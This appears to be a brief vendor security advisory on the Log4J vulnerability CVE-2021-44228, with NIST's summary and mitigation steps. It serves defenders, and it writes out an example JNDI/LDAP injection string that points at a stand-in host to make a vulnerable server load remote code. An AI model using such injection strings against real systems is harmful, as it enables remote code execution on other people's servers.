Note: GlobalCerts’ SecureMail Gateway products and services do not utilize the Log4J and are not vulnerable to this exploit.
This is a developing story and will be updated as new details emerge.
On December 10th, a critical zero-day exploit was made public affecting Log4J, a common logging software present in almost all Java-based programs. This vulnerability is extremely easy to exploit, and allows for a remote attacker to remotely execute arbitrary code on backend systems. By simply supplying a string of the format {JNDI: ldap://exampleurl.com/abc } into any form input or value that is logged, the attacker can confirm the vulnerability and cause the targeted system to execute whatever code they supply.
Summary of exploit and mitigations from NIST: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
See CVE-2021-44228 for more details.
